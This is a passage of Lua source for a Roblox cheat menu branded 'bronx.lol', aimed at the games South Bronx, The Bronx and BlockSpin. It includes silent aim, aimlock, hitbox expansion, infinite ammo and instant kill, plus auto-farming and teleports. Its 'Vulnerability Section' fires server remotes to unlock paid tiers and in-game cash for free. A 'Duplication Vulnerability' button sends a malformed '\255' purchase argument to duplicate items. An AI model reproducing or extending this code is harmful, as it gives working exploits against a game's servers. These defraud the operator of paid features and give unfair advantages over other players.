                    Config.South_Bronx.LocalPlayer_Config.DeleteKey = library.flags["DeleteOnKey_SouthBronx"].key
                end})

                TeleportMethodSection = LocalPlayerColumn:section({name = "Teleportation Method", side = "left", size = 0.175, icon = GetImage("Wrench.png")})

                TeleportMethodSection:dropdown({name = "Select Method", flag = "TeleportMethod_SB", width = 100, items = {"Dirt Bike", "Damage", "Tween"}, seperator = false, multi = false, default = "Damage", callback = function(state)
                    Config.South_Bronx.TeleportMethod = state
                end})

                LocalPlayerColumn = LocalPlayerTab:column({})

                local VulnSection = LocalPlayerColumn:section({name = "Vulnerability Section", side = "right", size = 0.23 , icon = GetImage("unlocked.png")})

                local _OwnedHotChips = LocalPlayer:GetAttribute("ExtraHotChipsMoneyEnabled")

                local OwnedHotChips = _OwnedHotChips

                local _Tiers = {
                    ["TIER_1"] = LocalPlayer:GetAttribute("TIER_1");
                    ["TIER_2"] = LocalPlayer:GetAttribute("TIER_2");
                    ["TIER_3"] = LocalPlayer:GetAttribute("TIER_3");
                }

                local Tiers = {
                    ["TIER_1"] = LocalPlayer:GetAttribute("TIER_1");
                    ["TIER_2"] = LocalPlayer:GetAttribute("TIER_2");
                    ["TIER_3"] = LocalPlayer:GetAttribute("TIER_3");
                }

                local _ScriptLoaded = false;

                VulnSection:toggle({name = "Free Tier 1, 2 and 3", default = false, flag = "Free_Tiers", type = 'toggle', callback = function(state)
                    if not _ScriptLoaded then return end

                    for Index, Value in Tiers do
                        if _Tiers[Index] then continue end

                        local Arguments = {
                            [1] = "UpdateSettingAttribute",
                            [2] = {
                                ["Attribute"] = Index,
                                ["Enabled"] = Tiers[Index]
                            }
                        }
                        
                        FireServer(ReplicatedStorage:WaitForChild("RemoteEvents"):WaitForChild("ClientEffects"), table.unpack(Arguments))       
                        
                        Tiers[Index] = not Tiers[Index]
                    end
                end})

                VulnSection:toggle({name = "Free Extra Hot Chips Cash", default = false, flag = "Free_Chips", type = 'toggle', callback = function(state)
                    if not _ScriptLoaded then return end

                    local Arguments = {
                        [1] = "UpdateSettingAttribute",
                        [2] = {
                            ["Attribute"] = "ExtraHotChipsMoneyEnabled",
                            ["Enabled"] = OwnedHotChips
                        }
                    }
                    
                    FireServer(ReplicatedStorage:WaitForChild("RemoteEvents"):WaitForChild("ClientEffects"), table.unpack(Arguments))       

                    OwnedHotChips = not OwnedHotChips
                end})

                local FarmSection = LocalPlayerColumn:section({name = "Auto Farming Section", side = "right", size = 0.54, icon = GetImage("Wheatt.png")})

                FarmSection:toggle({name = "Auto-Farm Cards", default = false, flag = "Card_Auto_Farm", type = "toggle", callback = function(state)
                    task.spawn(function() if not _ScriptLoaded then return end
                        if Config.South_Bronx.OwnedBike == "Unknown" then
                            local Bike = Find_Bike()
                            if Bike == nil then
                                ReplicatedStorage:WaitForChild("RemoteEvents"):WaitForChild("Dealershipinteraction"):FireServer("Spawn", "DirtBike")
                                task.wait(1)
                                Bike = Find_Bike()
                                task.wait(1)
                                if Bike == nil then Config.South_Bronx.OwnedBike = "No" else Config.South_Bronx.OwnedBike = "Yes" end
                            else
                                Config.South_Bronx.OwnedBike = "Yes"
                            end
                            task.wait(0.5)
                        end
                        Config.South_Bronx.FarmingUtilities.CardFarm = state
                        if state then Start_CardFarm() else Stop_CardFarm() end
                    end)
                end})

                FarmSection:toggle({name = "Auto-Farm Boxes", default = false, flag = "Box_Auto_Farm", type = "toggle", callback = function(state)
                    if not _ScriptLoaded then return end
                    Config.South_Bronx.FarmingUtilities.BoxFarm = state
                    if state then Start_BoxFarm() else Stop_BoxFarm() end
                end})

                FarmSection:toggle({name = "Auto-Farm Chips", default = false, flag = "Chip_Auto_Farm", type = "toggle", callback = function(state)
                    task.spawn(function() if not _ScriptLoaded then return end
                        if Config.South_Bronx.OwnedBike == "Unknown" then
                            local Bike = Find_Bike()
                            if Bike == nil then
                                ReplicatedStorage:WaitForChild("RemoteEvents"):WaitForChild("Dealershipinteraction"):FireServer("Spawn", "DirtBike")
                                task.wait(1)
                                Bike = Find_Bike()
                                task.wait(1)
                                if Bike == nil then Config.South_Bronx.OwnedBike = "No" else Config.South_Bronx.OwnedBike = "Yes" end
                            else
                                Config.South_Bronx.OwnedBike = "Yes"
                            end
                            task.wait(0.5)
                        end
                        Config.South_Bronx.FarmingUtilities.ChipFarm = state
                        if state then Start_ChipFarm() else Stop_ChipFarm() end
                    end)
                end})

                FarmSection:toggle({name = "Auto-Farm Marshmallows", default = false, flag = "Marshmallow_Auto_Farm", type = "toggle", callback = function(state)
                    task.spawn(function() if not _ScriptLoaded then return end
                        if Config.South_Bronx.OwnedBike == "Unknown" then
                            local Bike = Find_Bike()
                            if Bike == nil then
                                ReplicatedStorage:WaitForChild("RemoteEvents"):WaitForChild("Dealershipinteraction"):FireServer("Spawn", "DirtBike")
                                task.wait(1)
                                Bike = Find_Bike()
                                task.wait(1)
                                if Bike == nil then Config.South_Bronx.OwnedBike = "No" else Config.South_Bronx.OwnedBike = "Yes" end
                            else
                                Config.South_Bronx.OwnedBike = "Yes"
                            end
                            task.wait(0.5)
                        end
                        Config.South_Bronx.FarmingUtilities.MarshmallowFarm = state
                        if state then Start_MarshmallowFarm() else Stop_MarshmallowFarm() end
                    end)
                end})

                local _MarshMallowDropdown;

                _MarshMallowDropdown = FarmSection:slider({name = "Marshmallow Amount - $950", flag = "Marshmallow_Amount", min = 1, max = 50, default = 5, suffix = "", callback = function(state)
                    Config.South_Bronx.FarmingUtilities.MarshmallowIncrement = state

                    if _MarshMallowDropdown then
                        _MarshMallowDropdown.changetext(string.format("Marshmallow Amount - $%s", (state * 190)))
                    end
                end})

                FarmSection:label({wrapped = true, name = "You must own a house with pots to use the marshmallow farm!"})

                local DupeSection = LocalPlayerColumn:section({name = "Duplication Section", side = "right", size = 0.2, icon = "rbxassetid://139628202576511"})

                DupeSection:button({name = "Duplication Vulnerability", callback = function()
                    FireServer(ReplicatedStorage.RemoteEvents.PurchaseItem, 'Shoes', 'YZ Slides', '\255')
                end})

                _ScriptLoaded = true
            end

            do -- \\ Teleports
                local Location_Names = {"Dirty Hobo 💩"; "Active ATM 🏧"}

                for Index, Value in Config.South_Bronx.Locations do
                    table.insert(Location_Names, Index)
                end

                table.sort(Location_Names)
                
                local PurchaseGunColumn = PurchaseGunTab:column({})

                local WeaponListSection = PurchaseGunColumn:section({name = "Purchase Selected Item", side = "left", size = 1, icon = GetImage("Cash.png")})

                WeaponListSection:list({flag = "PurchaseSelectedItem_SouthBronx", options = Config.South_Bronx.Guns, callback = function(v)
                    task.spawn(LPH_NO_VIRTUALIZE(function()
                        if not v then return end

                        Config.South_Bronx.Selected_Item = tostring(v)

                        local self = string.match(Config.South_Bronx.Selected_Item, "^(.*) %-");

                        local DidntBuy = false
                            
                        local suc, err = pcall(function()
                            self = self:match("^%s*(.-)%s*$");

                            local PromptCFrame = GunPosition[self];
                            local OldCFrame = LocalPlayer.Character.HumanoidRootPart.CFrame

                            task.spawn(function()
                                ItemReceieved = false;
                                local Check = LocalPlayer.Backpack.ChildAdded:Connect(function(Child)
                                    if tostring(Child) == tostring(self) then
                                        ItemReceieved = true
                                    end
                                end)

                                task.spawn(function()
                                    task.wait(10)
                                    ItemReceieved = true
                                end)

                                repeat RunService.RenderStepped:Wait() until ItemReceieved == true
                                Check:Disconnect()
                            end)

                            local Teleport_Status = Teleport(PromptCFrame)

                            if Teleport_Status == "Failed" then
                                library.notifications:create_notification({
                                    name = "bronx.lol",
                                    info = `Failed to purchase {self}!`,
                                    lifetime = 7.5
                                })

                                DidntBuy = true

                                return
                            end

                            repeat RunService.RenderStepped:Wait() until LocalPlayer.Character.Humanoid.SeatPart == nil

                            for Index = 1, Config.South_Bronx.Item_Amount do
                                fireproximityprompt(Workspace:FindFirstChild("PromptPurchases")[self].proxprompt:FindFirstChildOfClass("ProximityPrompt"))
                            end

                            repeat RunService.RenderStepped:Wait() until ItemReceieved == true

                            repeat RunService.RenderStepped:Wait() until Teleport_Status == "Success"

                            task.wait(1.5)

                            Teleport(OldCFrame)
                        end)

                        if not LocalPlayer.Backpack:FindFirstChild(self) and not LocalPlayer.Character:FindFirstChild(self) then
                            library.notifications:create_notification({
                                name = "bronx.lol",
                                info = `Failed to purchase {self}!`,
                                lifetime = 7.5
                            })

                            return
                        end

                        if not DidntBuy then
                            if suc then
                                library.notifications:create_notification({
                                    name = "bronx.lol",
                                    info = `Successfully purchased {self}!`,
                                    lifetime = 5
                                })
                            else
                                library.notifications:create_notification({
                                    name = "bronx.lol",
                                    info = `Failed to purchase item {self} . error : {err}`,
                                    lifetime = 15
                                })
                            end
                        end
                    end))
                end})

                PurchaseGunColumn = PurchaseGunTab:column({})

                local TeleportListSection = PurchaseGunColumn:section({name = "Teleport To Location", side = "right", size = 1, icon = GetImage("World.png")})

                local Location_Names = {"Dirty Hobo 💩"; "Active ATM 🏧"}

                for Index, Value in Config.South_Bronx.Locations do
                    table.insert(Location_Names, Index)
                end

                table.sort(Location_Names, function(...)
                    return select(1, ...) < select(2, ...)
                end)

                local TP_Debounce = false

                TeleportListSection:list({flag = "TeleportToPlace_SouthBronx", options = Location_Names, callback = function(state)
                    task.spawn(LPH_NO_VIRTUALIZE(function()
                        if not state then
                            return
                        end

                        if TP_Debounce then
                            library.notifications:create_notification({
                                name = "bronx.lol",
                                info = `Please wait!`,
                                lifetime = 5
                            })

                            return
                        end

                        Config.South_Bronx.Selected_Location = state

                        local _Position = CFrame.new(0,0,0)

                        TP_Debounce = true

                        local suc, error = pcall(function()
                            if Config.South_Bronx.Selected_Location ~= "Dirty Hobo 💩" and Config.South_Bronx.Selected_Location ~= "Active ATM 🏧" then
                            _Position = Config.South_Bronx.Locations[Config.South_Bronx.Selected_Location]
                            Teleport(Config.South_Bronx.Locations[Config.South_Bronx.Selected_Location])
                            elseif Config.South_Bronx.Selected_Location == "Dirty Hobo 💩" then
                                if Workspace.Folders.HomelessPeople:FindFirstChild("RightLowerLeg", true) then
                                    local _Hobo = Workspace.Folders.HomelessPeople:FindFirstChild("RightLowerLeg", true).CFrame
                                    _Position = _Hobo
                                    Teleport(_Hobo)
                                else
                                    library.notifications:create_notification({
                                        name = "bronx.lol",
                                        info = `Failed to locate dirty hobo crackhead!`,
                                        lifetime = 5
                                    })
                                end
                            elseif Config.South_Bronx.Selected_Location == "Active ATM 🏧" then
                                local ATMPositions = {
                                    ATM1 = CFrame.new(-30, 4, -300);
                                    ATM2 = CFrame.new(539, 4, -353);
                                    ATM3 = CFrame.new(497, 4, 403);
                                    ATM4 = CFrame.new(236, 4, -158);
                                    ATM5 = CFrame.new(525, -8, -92);
                                    ATM6 = CFrame.new(-450, 4, 370);
                                    ATM7 = CFrame.new(-266, 4, -209);
                                    ATM8 = CFrame.new(-11, 4, 231);
                                    ATM9 = CFrame.new(717, 4, 410);
                                    ATM10 = CFrame.new(-532, 3, -21);
                                    ATM11 = CFrame.new(-646, 4, 155);
                                    ATM12 = CFrame.new(698, 3, -241);
                                    ATM13 = CFrame.new(-315, 4, 142);
                                    ATM14 = CFrame.new(-378, 4, -365);
                                    ATM15 = CFrame.new(360, 4, -364);
                                    ATM16 = CFrame.new(870, 3, -346);
                                    ATM17 = CFrame.new(904, 3, -99);
                                    ATM18 = CFrame.new(1095, 3, 178);
                                    ATM19 = CFrame.new(1054, 4, 585);
                                    ATM20 = CFrame.new(895, 4, 142);
                                    ATM21 = CFrame.new(1021, 3, -229);
                                };

                                local ATM;

                                for Index, Value in Workspace.Map.ATMS:GetChildren() do
                                    if Value.ATMScreen.Transparency == 0 then
                                        ATM = Value
                                        break
                                    end
                                end

                                _Position = ATMPositions[tostring(ATM)]

                                Teleport(ATMPositions[tostring(ATM)])
                            end
                        end)

                        TP_Debounce = false

                        if (LocalPlayer.Character.HumanoidRootPart.Position - _Position.Position).Magnitude > 20 then
                            library.notifications:create_notification({
                                name = "bronx.lol",
                                info = `Failed teleported to {state}!`,
                                lifetime = 7.5
                            })

                            return
                        end

                        if suc then
                            library.notifications:create_notification({
                                name = "bronx.lol",
                                info = `Successfully teleported to {state}!`,
                                lifetime = 5
                            })
                        else
                            library.notifications:create_notification({
                                name = "bronx.lol",
                                info = `Teleportation to {state}. error : {err}`,
                                lifetime = 15
                            })
                        end
                    end))
                end})
            end

            do -- \\ Player Tab        
                local Column = PlayersTab:column({})

                local PlayerListSection = Column:section({name = "Select Player", size = 1, default = false, side = 'left' --[[3 people icon]]})

                local PlayerList = PlayerListSection:list({flag = "SelectPlayer_SouthBronx", options = {}, callback = function(state)
                    Config.South_Bronx.PlayerUtilities.SelectedPlayer = tostring(state)
                end})

                local RefreshPlayers = LPH_NO_VIRTUALIZE(function()
                    local Cache = {}

                    for i, Player in Players:GetPlayers() do
                        if Player == LocalPlayer then continue end

                        table.insert(Cache, Player.Name)
                    end

                    table.sort(Cache)

                    PlayerList.refresh_options(Cache)
                end)

                task.spawn(RefreshPlayers)

                Players.PlayerAdded:Connect(RefreshPlayers)

                Players.PlayerRemoving:Connect(RefreshPlayers)

                Column = PlayersTab:column({})

                local PlayerOptionsSection = Column:section({name = "Player Options", size = 1, default = false, side = 'right', icon = GetImage("Wrench.png")})
            
                PlayerOptionsSection:toggle({type = "toggle", name = "Spectate Player", flag = "SpectatePlayer_SouthBronx", default = false, callback = function(state)
                    Config.South_Bronx.PlayerUtilities.SpectatePlayer = state
                end})

                PlayerOptionsSection:toggle({type = "toggle", name = "Bring Player", flag = "BringPlayer_SouthBronx", default = false, callback = function(state)
                    Config.South_Bronx.PlayerUtilities.BringingPlayer = state
                end})

                PlayerOptionsSection:button({name = "Teleport To Player", callback = function()
                    task.spawn(function()
                        if not Config.South_Bronx.PlayerUtilities.SelectedPlayer then return end

                        local Success, Error = pcall(function()
                            Teleport(Players[Config.South_Bronx.PlayerUtilities.SelectedPlayer].Character.HumanoidRootPart.CFrame)
                        end)

                        if (LocalPlayer.Character.HumanoidRootPart.Position - Players[Config.South_Bronx.PlayerUtilities.SelectedPlayer].Character.HumanoidRootPart.Position).Magnitude > 20 then
                            library.notifications:create_notification({
                                name = "bronx.lol",
                                info = `Failed to teleport to {Config.South_Bronx.PlayerUtilities.SelectedPlayer}!`,
                                lifetime = 7.5
                            })

                            return
                        end

                        if Success then
                            library.notifications:create_notification({
                                name = "bronx.lol",
                                info = `Successfully teleported to {Config.South_Bronx.PlayerUtilities.SelectedPlayer}!`,
                                lifetime = 7.5
                            })
                        else
                            library.notifications:create_notification({
                                name = "bronx.lol",
                                info = `Failed to teleport to {Config.South_Bronx.PlayerUtilities.SelectedPlayer}. Error : {Error}`,
                                lifetime = 10
                            })
                        end
                    end)
                end})
                
                PlayerOptionsSection:button({name = "Get Into Players Car", callback = function()
                    pcall(SitInPlayersVehicle, Players[Config.South_Bronx.PlayerUtilities.SelectedPlayer])
                end})
            end
        end
    end
end

if Game_Name == "BlockSpin" then
    window:seperator({name = "Game"}) do
        local LocalPlayerTab, PlayersTab, PurchaseGunTab, MiscTab = window:tab({name = "Main", tabs = {"Local Player"}, icon = GetImage("World.png")}) do
            local LocalPlayerColumn = LocalPlayerTab:column({})
            local LocalPlayerModsSection = LocalPlayerColumn:section({name = "Local Player Modifications", side = "left", size = 0.475})

            local FarmingSection = LocalPlayerColumn:section({name = "Auto-Farming Utilities", side = "left", size = 0.475, icon = GetImage("Wheatt.png")})

            local _ScriptLoaded = false

            FarmingSection:dropdown({name = "Mope Type", flag = "MopType_BlockSpin", width = 120, items = {"Default", "Silver", "Gold", "Diamond"}, seperator = false, multi = false, default = 'Default', callback = function(state)
                Config.BlockSpin.AutoFarming.MopType = state
            end})

            FarmingSection:toggle({name = "Auto-Farm Mop Job", flag = "JanitorFarm_BlockSpin", type = "toggle", callback = function(state)
                if not _ScriptLoaded then return end
                Config.BlockSpin.AutoFarming.FarmMops = state

                task.spawn(function()
                    if Config.BlockSpin.AutoFarming.FarmMops then
                        Start_MopFarm()
                    else
                        Stop_MopFarm()
                    end
                end)
            end})

            _ScriptLoaded = true
        end
    end
end

window:seperator({name = "Combat"}) do
    local SilentAimTab = window:tab({name = "Silent Aim", tabs = {"General Settings"}, icon = GetImage("Pistol.png")}) do
        local SilentAimColumn = SilentAimTab:column({})

        local GeneralSection = SilentAimColumn:section({name = "General", side = "left", size = 0.23, icon = GetImage("UZI.png")})

        GeneralSection:toggle({type = "toggle", name = "Enabled", flag = "SilentAim_Enabled", default = false, callback = function(state)
            Config.Silent.Enabled = state
        end})
            
        GeneralSection:keybind({name = "Keybind", flag = "SilentAim_Bind", mode = "Always", callback = function(state)
            Config.Silent.Targetting = state
        end})

        local SettingsSection = SilentAimColumn:section({name = "Settings", side = "left", size = 0.455, icon = GetImage("Settings.png")})

        SettingsSection:toggle({name = "Visible Check", flag = "SilentAim_Wallcheck", type = "toggle", default = false, callback = function(state)
            Config.Silent.WallCheck = state
        end})

        local BodyParts = {}

        local RigType = "R15"

        if LocalPlayer.Character then
            RigType = LocalPlayer.Character:WaitForChild("Humanoid").RigType.Name
        else
            LocalPlayer.CharacterAdded:Wait()

            RigType = LocalPlayer.Character:WaitForChild("Humanoid").RigType.Name
        end

        BodyParts = (RigType == "R6") and {
            "Head",
            "Torso",
            "Left Arm",
            "Right Arm",
            "Left Leg",
            "Right Leg",
            "HumanoidRootPart"
        } or (RigType == "R15") and {
            "Head",
            "UpperTorso",
            "LowerTorso",
            "LeftUpperArm",
            "LeftLowerArm",
            "RightUpperArm",
            "RightLowerArm",
            "LeftUpperLeg",
            "LeftLowerLeg",
            "RightUpperLeg",
            "RightLowerLeg",
            "HumanoidRootPart"
        } or {}

        SettingsSection:dropdown({name = "Target Parts", flag = "Silent_TargetPart", width = 110, items = BodyParts, seperator = false, multi = true, default = {'Head'}, callback = function(state)
            table.clear(Config.Silent.TargetPart)
            
            for Index, Value in state do
                table.insert(Config.Silent.TargetPart, Value)
            end
        end})

        SettingsSection:slider({name = "Max Distance", flag = "MaxDistance_Silent", min = 0, max = (Game_Name == "South Bronx") and 300 or 3000, default = (Game_Name == "South Bronx") and 300 or 1000, suffix = "st", callback = function(state)
            Config.Silent.MaxDistance = state
        end})

        SettingsSection:slider({name = "Hit Chance", flag = "SilentAim_HitChance", min = 0, max = 100, default = 100, suffix = "%", callback = function(state)
            Config.Silent.HitChance = state
        end})

        local BulletSettingsSection = SilentAimColumn:section({name = "Bullet Settings", side = "left", size = 0.18, icon = GetImage("Bullet.png")})
        
        BulletSettingsSection:toggle({type = "toggle", name = "Bullet Penetration", flag = "SilentAim_WallBang", default = false, callback = function(state)
            Config.Silent.WallBang = state
        end})

        SilentAimColumn = SilentAimTab:column({})

        local FieldOfViewSection = SilentAimColumn:section({name = "Field Of View", side = "right", size = 0.23, icon = GetImage("FieldOfView2.png")})

        FieldOfViewSection:toggle({type = "toggle", name = "Enabled", flag = "SilentAim_Usefov", default = false, callback = function(state)
            Config.Silent.UseFieldOfView = state
        end})

        FieldOfViewSection:toggle({type = "toggle", name = "Draw Circle", flag = "SilentAim_DrawCircle", default = false, callback = function(state)
            Config.Silent.DrawFieldOfView = state
        end}):colorpicker({flag = "SilentAim_FOVColor", default = Color3.new(1,1,1), alpha = 0.25, callback = function(state, alpha)
            Config.Silent.FieldOfViewColor = state
            Config.Silent.FieldOfViewTransparency = 1 - alpha
        end})

        local FieldOfViewSettingsSection = SilentAimColumn:section({name = "Field Of View Settings", side = "right", size = 0.3, icon = GetImage("Settings.png")})

        FieldOfViewSettingsSection:slider({name = "Radius", flag = "SilentAim_Radius", min = 0, max = 1000, default = 100, suffix = "°", callback = function(state)
            Config.Silent.Radius = state
        end})

        FieldOfViewSettingsSection:slider({name = "Sides", flag = "SilentAim_Sides", min = 3, max = 100, default = 25, suffix = "°", callback = function(state)
            Config.Silent.Sides = state
        end})

        local SnaplineSection = SilentAimColumn:section({name = "Snapline", side = "right", size = 0.275, icon = GetImage("Snapline.png")})

        SnaplineSection:toggle({type = "toggle", name = "Enabled", flag = "SilentAim_Snapline", default = false, callback = function(state)
            Config.Silent.Snapline = state
        end}):colorpicker({flag = "SilentAim_SnaplineColor", default = Color3.new(1,1,1), alpha = 1, callback = function(state, alpha)
            Config.Silent.SnaplineColor = state
        end})

        SnaplineSection:slider({name = "Snapline Thickness", flag = "SilentAim_SnaplineThickness", min = 1, max = 5, default = 1, callback = function(state)
            Config.Silent.SnaplineThickness = state
        end})
    end

    local AimlockTab = window:tab({name = "Aimlock", tabs = {"General Settings"}, icon = GetImage("Aimlock.png")}) do
        local AimlockAimColumn = AimlockTab:column({})

        local GeneralSection = AimlockAimColumn:section({name = "General", side = "left", size = 0.23, icon = GetImage("UZI.png")})

        GeneralSection:toggle({type = "toggle", name = "Enabled", flag = "AimlockAim_Enabled", default = false, callback = function(state)
            Config.Aimlock.Enabled = state
        end})
            
        GeneralSection:keybind({name = "Keybind", flag = "AimlockAim_Bind", mode = "Toggle", callback = function(state)
            Config.Aimlock.Aiming = state
            TargetTable[1] = nil
        end})

        local SettingsSection = AimlockAimColumn:section({name = "Settings", side = "left", size = 0.51, icon = GetImage("Settings.png")})

        SettingsSection:toggle({name = "Visible Check", flag = "AimlockAim_Wallcheck", type = "toggle", default = false, callback = function(state)
            Config.Aimlock.WallCheck = state
        end})

        local BodyParts = {}

        local RigType = "R15"

        if LocalPlayer.Character then
            RigType = LocalPlayer.Character:WaitForChild("Humanoid").RigType.Name
        else
            LocalPlayer.CharacterAdded:Wait()

            RigType = LocalPlayer.Character:WaitForChild("Humanoid").RigType.Name
        end

        BodyParts = (RigType == "R6") and {
            "Head",
            "Torso",
            "Left Arm",
            "Right Arm",
            "Left Leg",
            "Right Leg",
            "HumanoidRootPart"
        } or (RigType == "R15") and {
            "Head",
            "UpperTorso",
            "LowerTorso",
            "LeftUpperArm",
            "LeftLowerArm",
            "RightUpperArm",
            "RightLowerArm",
            "LeftUpperLeg",
            "LeftLowerLeg",
            "RightUpperLeg",
            "RightLowerLeg",
            "HumanoidRootPart"
        } or {}

        SettingsSection:dropdown({name = "Aimlock Type", flag = "Aimlock_AimType", width = 110, items = {'Camera', 'Mouse'}, seperator = false, multi = false, default = 'Mouse', callback = function(state)
            Config.Aimlock.Type = state
        end})

        SettingsSection:dropdown({name = "Target Parts", flag = "Aimlock_TargetPart", width = 110, items = BodyParts, seperator = false, multi = false, default = 'Head', callback = function(state)
            Config.Aimlock.TargetPart = state
        end})

        SettingsSection:slider({name = "Max Distance", flag = "MaxDistance_Aimlock", min = 0, max = 3000, default = ((Game_Name == "South Bronx") and 300 or 1000), suffix = "st", callback = function(state)
            Config.Aimlock.MaxDistance = state
        end})

        SettingsSection:slider({name = "Smoothness", flag = "MaxDistance_Smoothness", min = 0, max = 100, default = 10, suffix = "%", callback = function(state)
            Config.Aimlock.Smoothness = state/10
        end})

        AimlockAimColumn = AimlockTab:column({})

        local FieldOfViewSection = AimlockAimColumn:section({name = "Field Of View", side = "right", size = 0.23, icon = GetImage("FieldOfView2.png")})

        FieldOfViewSection:toggle({type = "toggle", name = "Enabled", flag = "AimlockAim_Usefov", default = false, callback = function(state)
            Config.Aimlock.UseFieldOfView = state
        end})

        FieldOfViewSection:toggle({type = "toggle", name = "Draw Circle", flag = "AimlockAim_DrawCircle", default = false, callback = function(state)
            Config.Aimlock.DrawFieldOfView = state
        end}):colorpicker({flag = "AimlockAim_FOVColor", default = Color3.new(1,1,1), alpha = 0.25, callback = function(state, alpha)
            Config.Aimlock.FieldOfViewColor = state
            Config.Aimlock.FieldOfViewTransparency = 1 - alpha
        end})

        local FieldOfViewSettingsSection = AimlockAimColumn:section({name = "Field Of View Settings", side = "right", size = 0.3, icon = GetImage("Settings.png")})

        FieldOfViewSettingsSection:slider({name = "Radius", flag = "AimlockAim_Radius", min = 0, max = 1000, default = 100, suffix = "°", callback = function(state)
            Config.Aimlock.Radius = state
        end})

        FieldOfViewSettingsSection:slider({name = "Sides", flag = "AimlockAim_Sides", min = 3, max = 100, default = 25, suffix = "°", callback = function(state)
            Config.Aimlock.Sides = state
        end})

        local SnaplineSection = AimlockAimColumn:section({name = "Snapline", side = "right", size = 0.275, icon = GetImage("Snapline.png")})

        SnaplineSection:toggle({type = "toggle", name = "Enabled", flag = "AimlockAim_Snapline", default = false, callback = function(state)
            Config.Aimlock.Snapline = state
        end}):colorpicker({flag = "AimlockAim_SnaplineColor", default = Color3.new(1,1,1), alpha = 1, callback = function(state, alpha)
            Config.Aimlock.SnaplineColor = state
        end})

        SnaplineSection:slider({name = "Snapline Thickness", flag = "AimlockAim_SnaplineThickness", min = 1, max = 5, default = 1, callback = function(state)
            Config.Aimlock.SnaplineThickness = state
        end})
    end

    if Game_Name == "The Bronx" and not Solara then
        local WeaponModTab, MiscModTab = window:tab({name = "Modifications", tabs = {"Weapon Modifications", "Hitbox Modifications"}, icon = GetImage("Wrench.png")}) do
            local WeaponModTabColumn = WeaponModTab:column({}) do
                local GeneralSection = WeaponModTabColumn:section({name = "Weapon Modifications", side = "left", size = 0.5, icon = GetImage("Pistol.png")})

                local Modifications = {
                    "Infinite Ammo";
                    "Infinite Clips";
                    "Infinite Damage";
                    "Fully Automatic";
                    "Disable Jamming";
                    "Modify Recoil Value";
                    "Modify Spread Value";
                    "Modify Reload Speed";
                    "Modify Equip Speed";
                    "Modify Fire Rate";
                }

                for _, Index in Modifications do
                    GeneralSection:toggle({name = Index, flag = Index.."_TB3", type = "toggle", default = false, callback = function(state)
                        if Index == "Fully Automatic" then Index = "Automatic" end
                        Config.TheBronx.Modifications[Index:gsub(" ", "")] = state
                    end})
                end

                GeneralSection = WeaponModTabColumn:section({name = "Weapon Modifications", side = "left", size = 0.5, icon = GetImage("Settings.png")})

                GeneralSection:slider({name = "Recoil Percentage", flag = "RecoilValue_TB3", default = 50, min = 0, max = 100, suffix = "%", callback = function(state)
                    Config.TheBronx.Modifications.RecoilPercentage = state
                end})

                GeneralSection:slider({name = "Spread Percentage", flag = "SpreadValue_TB3", default = 50, min = 0, max = 100, suffix = "%", callback = function(state)
                    Config.TheBronx.Modifications.SpreadPercentage = state
                end})

                GeneralSection:slider({name = "Fire Rate Percentage", flag = "FireRateSpeed_TB3", default = 50, min = 0, max = 100, suffix = "%", callback = function(state)
                    Config.TheBronx.Modifications.FireRateSpeed = state
                end})

                GeneralSection:slider({name = "Reload Speed Percentage", flag = "ReloadSpeed_TB3", default = 50, min = 0, max = 100, suffix = "%", callback = function(state)
                    Config.TheBronx.Modifications.ReloadSpeed = state
                end})

                GeneralSection:slider({name = "Equip Speed Percentage", flag = "EquipSpeed_TB3", default = 50, min = 0, max = 100, suffix = "%", callback = function(state)
                    Config.TheBronx.Modifications.EquipSpeed = state
                end})
            end

            local MiscTabColumn = MiscModTab:column({}) do
                local GeneralSection = MiscTabColumn:section({name = "Hitbox Modifications", side = "left", size = 0.4})

                GeneralSection:toggle({name = 'Enabled', flag = 'HitboxesEnabled', type = 'toggle', default = false, callback = function(state)
                    Config.MiscSettings.Hitbox_Expander.Enabled = state
                end}):colorpicker({flag = 'HitboxesColor', color = Color3.new(1,1,1), alpha = 1, callback = function(state, alpha)
                    Config.MiscSettings.Hitbox_Expander.Color = state
                    Config.MiscSettings.Hitbox_Expander.Transparency = alpha
                end})

                GeneralSection:slider({name = "Hitbox Multiplier", flag = "HitBox_Multiplier", min = 1, max = 20, default = 10, callback = function(state)
                    Config.MiscSettings.Hitbox_Expander.Multiplier = state
                end})

                GeneralSection:dropdown({name = "Hitbox Part", flag = "HitBoxPart", items = {"Head", "Torso"}, default = "Torso", multi = false, callback = function(value)
                    Config.MiscSettings.Hitbox_Expander.Part = (value == "Head") and "Head" or "HumanoidRootPart"
                end})

                GeneralSection:dropdown({name = "Hitbox Material", flag = "HitBoxMaterial", items = {
                    "SmoothPlastic", "Wood", "Slate", "Concrete", "CorrodedMetal",
                    "Neon", "Grass", "Fabric", "DiamondPlate", "Sandstone",
                    "Ice", "Marble", "Granite", "Pebble", "Metal",
                    "Glass", "Plastic", "ForceField"
                }, default = "ForceField", multi = false, callback = function(value)
                    Config.MiscSettings.Hitbox_Expander.Material = value
                end})
            end
        end
    end

    if Game_Name == "South Bronx" and not Solara then
        local WeaponModTab = window:tab({name = "Modifications", tabs = {"Weapon Modifications"}, icon = GetImage("Wrench.png")}) do
            local WeaponModTabColumn = WeaponModTab:column({}) do
                local GeneralSection = WeaponModTabColumn:section({name = "Weapon Modifications", side = "left", size = 0.5, icon = GetImage("Pistol.png")})

                local Modifications = {
                    "Infinite Ammo";
                    "Instant Kill";
                    "Fully Automatic";
                    "Disable Jamming";
                    "Modify Recoil Value";
                    "Modify Spread Value";
                    "Modify Reload Speed";
                    "Modify Equip Speed";
                    "Modify Fire Rate";
                }

                for _, Index in Modifications do
                    GeneralSection:toggle({name = Index, flag = Index.."_TB3", type = "toggle", default = false, callback = function(state)
                        if Index == "Fully Automatic" then Index = "Automatic" end
                        Config.South_Bronx.Modifications[Index:gsub(" ", "")] = state
                    end})
                end

                GeneralSection = WeaponModTabColumn:section({name = "Weapon Modifications", side = "left", size = 0.5, icon = GetImage("Settings.png")})

                GeneralSection:slider({name = "Recoil Percentage", flag = "RecoilValue_TB3", default = 50, min = 0, max = 100, suffix = "%", callback = function(state)
                    Config.South_Bronx.Modifications.RecoilPercentage = state
                end})

                GeneralSection:slider({name = "Spread Percentage", flag = "SpreadValue_TB3", default = 50, min = 0, max = 100, suffix = "%", callback = function(state)
                    Config.South_Bronx.Modifications.SpreadPercentage = state
                end})

                GeneralSection:slider({name = "Fire Rate Percentage", flag = "FireRateSpeed_TB3", default = 50, min = 0, max = 100, suffix = "%", callback = function(state)
                    Config.South_Bronx.Modifications.FireRateSpeed = state
                end})

